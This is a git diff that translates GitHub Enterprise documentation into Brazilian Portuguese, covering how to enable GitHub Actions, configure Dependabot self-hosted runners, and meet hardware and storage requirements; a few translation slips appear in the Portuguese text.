-intro: 'Learn how to configure storage and enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.'
+title: Habilitar GitHub Actions para o GitHub Enterprise Server
+intro: 'Aprenda como configurar o armazenamento e habilitar {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_server %}.'
 versions:
   ghes: '*'
 topics:
@@ -10,6 +10,6 @@ children:
   - /enabling-github-actions-with-amazon-s3-storage
   - /enabling-github-actions-with-minio-gateway-for-nas-storage
   - /setting-up-dependabot-updates
-shortTitle: Enable GitHub Actions
+shortTitle: Habilitar GitHub Actions
 ---
 
diff --git a/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md b/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
index 5ebd02f920..bdc0a9d862 100644
--- a/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
+++ b/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up Dependabot security and version updates on your enterprise
-intro: 'You can create dedicated runners for {% data variables.product.product_location %} that {% data variables.product.prodname_dependabot %} uses to create pull requests to help secure and maintain the dependencies used in repositories on your enterprise.'
+title: Configurando as atualizações de segurança e versão do Dependabot na sua empresa
+intro: 'Você pode criar executores dedicados para {% data variables.product.product_location %} que {% data variables.product.prodname_dependabot %} usa para criar pull requests a fim de ajudar a proteger e manter as dependências usadas em repositórios da sua empresa.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -10,52 +10,52 @@ topics:
   - Security
   - Dependabot
   - Dependencies
-shortTitle: Set up Dependabot updates
+shortTitle: Configurar atualizações do Dependabot
 ---
 
 {% data reusables.dependabot.beta-security-and-version-updates %}
 
 {% tip %}
 
-**Tip**: If {% data variables.product.product_location %} uses clustering, you cannot set up {% data variables.product.prodname_dependabot %} security and version updates as {% data variables.product.prodname_actions %} are not supported in cluster mode.
+**Dica**: Se {% data variables.product.product_location %} usar clustering, você não poderá configurar a segurança de {% data variables.product.prodname_dependabot %} e as atualizações de versão, uma vez que {% data variables.product.prodname_actions %} não é compatível no modo cluster.
 
 {% endtip %}
 
-## About {% data variables.product.prodname_dependabot %} updates
+## Sobre as atualizações do {% data variables.product.prodname_dependabot %}
 
-When you set up {% data variables.product.prodname_dependabot %} security and version updates for {% data variables.product.product_location %}, users can configure repositories so that their dependencies are updated and kept secure automatically. This is an important step in helping developers create and maintain secure code.
+Ao configurar {% data variables.product.prodname_dependabot %} de segurança e atualizações de versão para {% data variables.product.product_location %}, os usuários podem configurar os repositórios para que suas dependências sejam atualizadas e mantidas seguras automaticamente. Este é um passo importante para ajudar os desenvolvedores a criar e manter o código seguro.
 
-Users can set up {% data variables.product.prodname_dependabot %} to create pull requests to update their dependencies using two features.
+Os usuários podem configurar {% data variables.product.prodname_dependabot %} para criar pull requests e atualizar as suas dependências usando duas funcionalidades.
 
-- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)."
-- **{% data variables.product.prodname_dependabot_security_updates %}**: Users toggle a repository setting to enable {% data variables.product.prodname_dependabot %} to create pull requests when {% data variables.product.prodname_dotcom %} detects a vulnerability in one of the dependencies of the dependency graph for the repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+- **{% data variables.product.prodname_dependabot_version_updates %}**: Os usuários adicionam um arquivo de configuração de {% data variables.product.prodname_dependabot %} ao repositório para habilitar {% data variables.product.prodname_dependabot %} e criar pull requests quando uma nova versão de uma dependência monitorada for lançada. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)".
+- **{% data variables.product.prodname_dependabot_security_updates %}**: Os usuários alternam uma configuração de repositório para habilitar {% data variables.product.prodname_dependabot %} para criar pull requests quando {% data variables.product.prodname_dotcom %} detecta uma vulnerabilidade em uma das dependências do gráfico de dependências para o repositório. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)" e[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)".
 
-## Prerequisites for {% data variables.product.prodname_dependabot %} updates
+## Pré-requisitos para atualizações de {% data variables.product.prodname_dependabot %}
 
-Both types of {% data variables.product.prodname_dependabot %} update have the following requirements.
+Ambos os tipos de atualização de {% data variables.product.prodname_dependabot %} têm os seguintes requisitos.
 
-- Configure {% data variables.product.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
-- Set up one or more {% data variables.product.prodname_actions %} self-hosted runners for {% data variables.product.prodname_dependabot %}. For more information, see "[Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates](#setting-up-self-hosted-runners-for-dependabot-updates)" below.
+- Configure {% data variables.product.product_location %} para usar {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} para o GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+- Configure um ou mais executores auto-hospedados de {% data variables.product.prodname_actions %} para {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Configurando executores auto-hospedados para atualizações de {% data variables.product.prodname_dependabot %}](#setting-up-self-hosted-runners-for-dependabot-updates)" abaixo.
 
-Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and  {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
+Além disso, {% data variables.product.prodname_dependabot_security_updates %} depende do gráfico de dependências, dados de vulnerabilidades de {% data variables.product.prodname_github_connect %} e {% data variables.product.prodname_dependabot_alerts %}. Essas funcionalidades devem ser habilitadas em {% data variables.product.product_location %}. Para obter mais informações, consulte[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na sua conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
 
-## Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates
+## Configurando executores auto-hospedados para atualizações de {% data variables.product.prodname_dependabot %}
 
-When you have configured {% data variables.product.product_location %} to use {% data variables.product.prodname_actions %}, you need to add self-hosted runners for {% data variables.product.prodname_dependabot %} updates. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+Quando você tiver configurado {% data variables.product.product_location %} para usar {% data variables.product.prodname_actions %}, você deverá adicionar executores auto-hospedados para atualizações de {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} para o GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
 
-### System requirements for {% data variables.product.prodname_dependabot %} runners
+### Requisitos do sistema para executores de {% data variables.product.prodname_dependabot %}
 
-Any VM that you use for {% data variables.product.prodname_dependabot %} runners must meet the requirements for self-hosted runners. In addition, they must meet the following requirements.
+Qualquer VM que você usar para executores de {% data variables.product.prodname_dependabot %} deve atender aos requisitos para executores auto-hospedados. Além disso, eles têm de cumprir os seguintes requisitos.
 
-- Linux operating system
-- Git installed
-- Docker installed with access for the runner users:
-  - We recommend installing Docker in rootless mode and configuring the runners to access Docker without `root` privileges.
-  - Alternatively, install Docker and give the runner users raised privileges to run Docker.
+- Sistema operacional Linux
+- Git instalado
+- Docker instalado com acesso para os usuários do executor:
+  - Recomendamos instalar o Docker no modo sem rootless e configurar os executores para acessar o Docker sem privilégios do `root`.
+  - Como alternativa, instale o Docker e dê aos usuários do executor privilégios elevados para executar o Docker.
 
-The CPU and memory requirements will depend on the number of concurrent runners you deploy on a given VM. As guidance, we have successfully set up 20 runners on a single 2 CPU 8GB machine, but ultimately, your CPU and memory requirements will heavily depend on the repositories being updated. Some ecosystems will require more resources than others.
+Os requisitos de CPU e memória dependerão do número de executores simultâneos que você implanta em uma determinada VM. Como orientação, criamos de forma bem-sucedida 20 executores em uma única máquina CPU de 8 GB, mas, em última análise, seus requisitos de CPU e memória dependerão fortemente da atualização dos repositórios. Alguns ecossistemas exigirão mais recursos do que outros.
 
-If you specify more than 14 concurrent runners on a VM, you must also update the Docker `/etc/docker/daemon.json` configuration to increase the default number of networks Docker can create.
+Se você especificar mais de 14 runners simultâneos em uma VM, você também deve atualizar o a configuração do Docker `/etc/docker/daemon.json` para aumentar o número padrão de redes que o Docker pode criar.
 
 ```
 {
@@ -65,23 +65,23 @@ If you specify more than 14 concurrent runners on a VM, you must also update the
 }
 ```
 
-### Network requirements for {% data variables.product.prodname_dependabot %} runners
+### Requisitos da rede para executores de {% data variables.product.prodname_dependabot %}
 
-{% data variables.product.prodname_dependabot %} runners require access to the public internet, {% data variables.product.prodname_dotcom_the_website %}, and any internal registries that will be used in {% data variables.product.prodname_dependabot %} updates. To minimize the risk to your internal network, you should limit access from the Virtual Machine (VM) to your internal network. This reduces the potential for damage to internal systems if a runner were to download a hijacked dependency.
+Os executores de {% data variables.product.prodname_dependabot %} exigem acesso à internet pública, {% data variables.product.prodname_dotcom_the_website %} e a todos os registros internos que serão usados nas atualizações de {% data variables.product.prodname_dependabot %}. Para minimizar o risco para sua rede interna, você deve limitar o acesso da Máquina Virtual (VM) à sua rede interna. Isto reduz o potencial de danos nos sistemas internos se um executor fizer o download de uma dependência capturada.
 
-### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates
+### Adicionando executores auto-hospedados para atualizações de {% data variables.product.prodname_dependabot %}
 
-1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+1. Provisionamento de executores auto-hospedados no nível da conta do repositório, organização ou empresa. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)" e "[Adicionar executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)".
 
-2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would:
+2. Configure os executores auto-hospedados com os requisitos descritos acima. Por exemplo, em uma VM que executa o Ubuntu 20.04 você:
 
-   - Verify that Git is installed: `command -v git`
-   - Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation.
-     - [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/)
-     - Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/)
-     - Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user)
-   - Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs.
+   - Verificaria se o Git está instalado: `command -v git`
+   - Instale o Docker e certifique-se de que os usuários do executor tenham acesso ao Docker. Para obter mais informações, consulte a documentação do Docker.
+     - [Instalar o mecanismo do Docker no Ubuntu](https://docs.docker.com/engine/install/ubuntu/)
+     - Abordagem recomendada: [Executar o daemon do Docker como um usuário que não é root (modo Rootless)](https://docs.docker.com/engine/security/rootless/)
+     - Abordagem alternativa: [Gerenciar Docker como um usuário que não é do root](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user)
+   - Verifique se os executores têm acesso à internet pública e só podem acessar as redes internas de que {% data variables.product.prodname_dependabot %} precisa.
 
-3. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)."
+3. Atribua uma etiqueta do `debendabot` para cada executor que você deseja que {% data variables.product.prodname_dependabot %} use. Para obter mais informações, consulte "["Usar etiquetas com executores auto-hospedados](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)".
 
-4. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)."
+4. Opcionalmente, habilite os fluxos de trabalho acionados por {% data variables.product.prodname_dependabot %} para usar permissões além das permissões somente leitura e ter acesso a todos os segredos que estão normalmente disponíveis. Para obter mais informações, consulte "[Solucionar problemas de {% data variables.product.prodname_actions %} para a sua empresa](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)."
diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
index caad89aa5f..3e2537e222 100644
--- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
+++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub Actions for GitHub AE
-shortTitle: Get started
-intro: 'Learn about configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}.'
+title: Introdução ao GitHub Actions para GitHub AE
+shortTitle: Começar
+intro: 'Saiba mais sobre como configurar {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_managed %}.'
 permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
 versions:
   ghae: '*'
@@ -15,22 +15,22 @@ redirect_from:
 ---
 
 
-## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}
+## Sobre {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_managed %}
 
-This article explains how site administrators can configure {% data variables.product.prodname_ghe_managed %} to use {% data variables.product.prodname_actions %}.
+Este artigo explica como os administradores do site podem configurar {% data variables.product.prodname_ghe_managed %} para usar {% data variables.product.prodname_actions %}.
 
-{% data variables.product.prodname_actions %} is enabled for {% data variables.product.prodname_ghe_managed %} by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you need to manage access permissions for {% data variables.product.prodname_actions %} and add runners to run workflows.
+Por padrão, {% data variables.product.prodname_actions %} está habilitado para {% data variables.product.prodname_ghe_managed %}. Para começar a usar {% data variables.product.prodname_actions %} na sua empresa, você deverá gerenciar as permissões de acesso para {% data variables.product.prodname_actions %} e adicionar executores para executar fluxos de trabalho.
 
 {% data reusables.actions.introducing-enterprise %}
 
 {% data reusables.actions.migrating-enterprise %}
 
-## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise
+## Gerenciar as permissões de acesso para {% data variables.product.prodname_actions %} na sua empres
 
-You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)."
+Você pode usar políticas para gerenciar o acesso a {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Aplicando as políticas do GitHub Actions para sua empresa](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)".
 
-## Adding runners
+## Adicionar executores
 
-You can configure and host servers to run jobs for your enterprise on {% data variables.product.product_name %}. {% data reusables.actions.about-self-hosted-runners %} For more information, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+Você pode configurar e hospedar servidores para executar trabalhos para sua empresa em {% data variables.product.product_name %}. {% data reusables.actions.about-self-hosted-runners %} Para obter mais informações, consulte "[Hospedando seus próprios executores](/actions/hosting-your-own-runners)".
 
 {% data reusables.actions.general-security-hardening %}
diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
index 8680be8654..4de85fbfa6 100644
--- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
+++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub Actions for GitHub Enterprise Cloud
-shortTitle: Get started
-intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.'
+title: Primeiros passos com o GitHub Actions para GitHub Enterprise Cloud
+shortTitle: Começar
+intro: 'Aprenda como configurar {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_cloud %}.'
 permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.'
 versions:
   ghec: '*'
@@ -11,24 +11,24 @@ topics:
   - Enterprise
 ---
 
-## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}
+## Sobre {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_cloud %}
 
-{% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows.
+{% data variables.product.prodname_actions %} está habilitado por padrão para sua empresa. Para começar a usar {% data variables.product.prodname_actions %} na sua empresa, você pode gerenciar as políticas que controlam como os instegrantes corporativos usam o {% data variables.product.prodname_actions %} e, opcionalmente, adicionar executores auto-hospedados para executar fluxos de trabalho.
 
 {% data reusables.actions.introducing-enterprise %}
 
 {% data reusables.actions.migrating-enterprise %}
 
-## Managing policies for {% data variables.product.prodname_actions %}
+## Gerenciando políticas para {% data variables.product.prodname_actions %}
 
-You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)."
+Você pode usar políticas para controlar como os integrantes corporativos usam {% data variables.product.prodname_actions %}. Por exemplo, você pode restringir quais ações são permitidas e configurar a retenção de artefato e de registro. Para obter mais informações, consulte "[Aplicando as políticas do GitHub Actions para sua empresa](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)".
 
-## Adding runners
+## Adicionar executores
 
-To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be be billed based on consumption after exhausting the minutes included in {% data variables.product.product_name %}, while self-hosted runners are free. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+Para executar fluxos de trabalho de {% data variables.product.prodname_actions %}, você deve usar executores. {% data reusables.actions.about-runners %} se você usar corredores hospedados {% data variables.product.company_short %}, você será cobrado com base no consumo após esgotar os minutos incluídos em {% data variables.product.product_name %}, ao passo que os executores auto-hospedados são grátis. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
 
-For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)."
 
-If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)"
+Se você escolher executores auto-hospedados, você poderá adicionar os executores aos níveis da empresa, organização ou repositório. Para obter mais informações, consulte "[Adicionando executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)".
 
-{% data reusables.actions.general-security-hardening %}
\ No newline at end of file
+{% data reusables.actions.general-security-hardening %}
diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
index 5f067794ac..6d19019240 100644
--- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
+++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub Actions for GitHub Enterprise Server
-shortTitle: Get started
-intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.'
+title: Primeiros passos com o GitHub Actions para o GitHub Enterprise Server
+shortTitle: Começar
+intro: 'Saiba mais sobre como habilitar e configurar {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_server %} pela primeira vez.'
 permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
 redirect_from:
   - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage
@@ -15,29 +15,30 @@ topics:
   - Actions
   - Enterprise
 ---
+
 {% data reusables.actions.enterprise-beta %}
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}
+## Sobre {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_server %}
 
-This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}.
+Este artigo explica como os administradores do site podem configurar {% data variables.product.prodname_ghe_server %} para usar {% data variables.product.prodname_actions %}.
 
 {% data reusables.enterprise.upgrade-ghes-for-actions %}
 
-{% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows.
+Por padrão, {% data variables.product.prodname_actions %} não está habilitado para {% data variables.product.prodname_ghe_server %}. Você precisará determinar se a sua instância tem recursos adequados de CPU e memória para administrar a carga do {% data variables.product.prodname_actions %} sem causar perda de desempenho, e possivelmente aumentar esses recursos. Você também deverá decidir qual provedor de armazenamento você usará para o armazenamento do blob necessário para armazenar os artefatos gerados pela execução do fluxo de trabalho. Em seguida, você irá habilitar {% data variables.product.prodname_actions %} para a sua empresa, gerenciar permissões de acesso e adicionar executores auto-hospedados para executar fluxos de trabalho.
 
 {% data reusables.actions.introducing-enterprise %}
 
 {% data reusables.actions.migrating-enterprise %}
 
-## Review hardware considerations
+## Revise as considerações de hardware
 
 {% ifversion ghes = 3.0 %}
 
 {% note %}
 
-**Note**: If you're upgrading an existing {% data variables.product.prodname_ghe_server %} instance to 3.0 or later and want to configure {% data variables.product.prodname_actions %}, note that the minimum hardware requirements have increased. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)."
+**Observação**: Se você estiver atualizando uma instância de {% data variables.product.prodname_ghe_server %} existente para 3.0 ou posterior e deseja configurar {% data variables.product.prodname_actions %}, observe que os requisitos mínimos de hardware aumentaram. Para obter mais informações, consulte "[Atualizar o {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)".
 
 {% endnote %}
 
@@ -45,17 +46,17 @@ This article explains how site administrators can configure {% data variables.pr
 
 {%- ifversion ghes < 3.2 %}
 
-The CPU and memory resources available to {% data variables.product.product_location %} determine the maximum job throughput for {% data variables.product.prodname_actions %}.
+Os recursos da CPU e memória disponíveis para {% data variables.product.product_location %} determinam o rendimento máximo do trabalho para {% data variables.product.prodname_actions %}.
 
-Internal testing at {% data variables.product.company_short %} demonstrated the following maximum throughput for {% data variables.product.prodname_ghe_server %} instances with a range of CPU and memory configurations. You may see different throughput depending on the overall levels of activity on your instance.
+O teste interno em {% data variables.product.company_short %} demonstrou o rendimento máximo a seguir para instâncias de {% data variables.product.prodname_ghe_server %} com um intervalo de configurações da CPU e memória. Você pode ver diferentes tipos de transferência, dependendo dos níveis gerais de atividade na sua instância.
 
 {%- endif %}
 
 {%- ifversion ghes > 3.1 %}
 
-The CPU and memory resources available to {% data variables.product.product_location %} determine the number of jobs that can be run concurrently without performance loss.
+Os recursos de CPU e memória disponíveis para {% data variables.product.product_location %} determinam o número de trabalhos que podem ser executados simultaneamente sem perda de desempenho.
 
-The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations:
+O pico de trabalhos simultâneos rodando sem perda de desempenho depende de fatores como duração do trabalho, uso de artefatos, número de repositórios em execução de ações, e quanto outro trabalho sua instância está fazendo não relacionado a ações. Os testes internos no GitHub demonstraram os objetivos de desempenho a seguir para o GitHub Enterprise Server em uma série de configurações de CPU e memória:
 
 {% endif %}
 
@@ -69,7 +70,7 @@ The peak quantity of concurrent jobs running without performance loss depends on
 
 {% data reusables.actions.hardware-requirements-3.2 %}
 
-Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+A simultaneidade máxima foi medida usando vários repositórios, a duração do trabalho de aproximadamente 10 minutos e o upload de artefato de 10 MB. Você pode ter um desempenho diferente dependendo dos níveis gerais de atividade na sua instância.
 
 {%- endif %}
 
@@ -77,13 +78,13 @@ Maximum concurrency was measured using multiple repositories, job duration of ap
 
 {% data reusables.actions.hardware-requirements-after %}
 
-Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+A simultaneidade máxima foi medida usando vários repositórios, a duração do trabalho de aproximadamente 10 minutos e o upload de artefato de 10 MB. Você pode ter um desempenho diferente dependendo dos níveis gerais de atividade na sua instância.
 
 {%- endif %}
 
-If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)."
+Se você planeja habilitar {% data variables.product.prodname_actions %} para os usuários de uma instância existente, revise os níveis de atividade para usuários e automações na instância e garanta que você tenha fornecido CPU e memória adequadas para seus usuários. Para obter mais informações sobre o monitoramento da capacidade e desempenho de {% data variables.product.prodname_ghe_server %}, consulte "[Monitoramento do seu aplicativo](/admin/enterprise-management/monitoring-your-appliance)".
 
-For more information about minimum hardware requirements for {% data variables.product.product_location %}, see the hardware considerations for your instance's platform.
+Para obter mais informações sobre os requisitos mínimos de hardware para {% data variables.product.product_location %}, consulte as considerações sobre hardware para a plataforma da sua instância.
 
 - [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations)
 - [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations)
@@ -95,58 +96,58 @@ For more information about minimum hardware requirements for {% data variables.p
 
 {% data reusables.enterprise_installation.about-adjusting-resources %}
 
-## External storage requirements
+## Requisitos de armazenamento externo
 
-To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage.
+Para habilitar o {% data variables.product.prodname_actions %} em {% data variables.product.prodname_ghe_server %}, você deve ter acesso ao armazenamento externo do blob.
 
-{% data variables.product.prodname_actions %} uses blob storage to store artifacts generated by workflow runs, such as workflow logs and user-uploaded build artifacts. The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time.
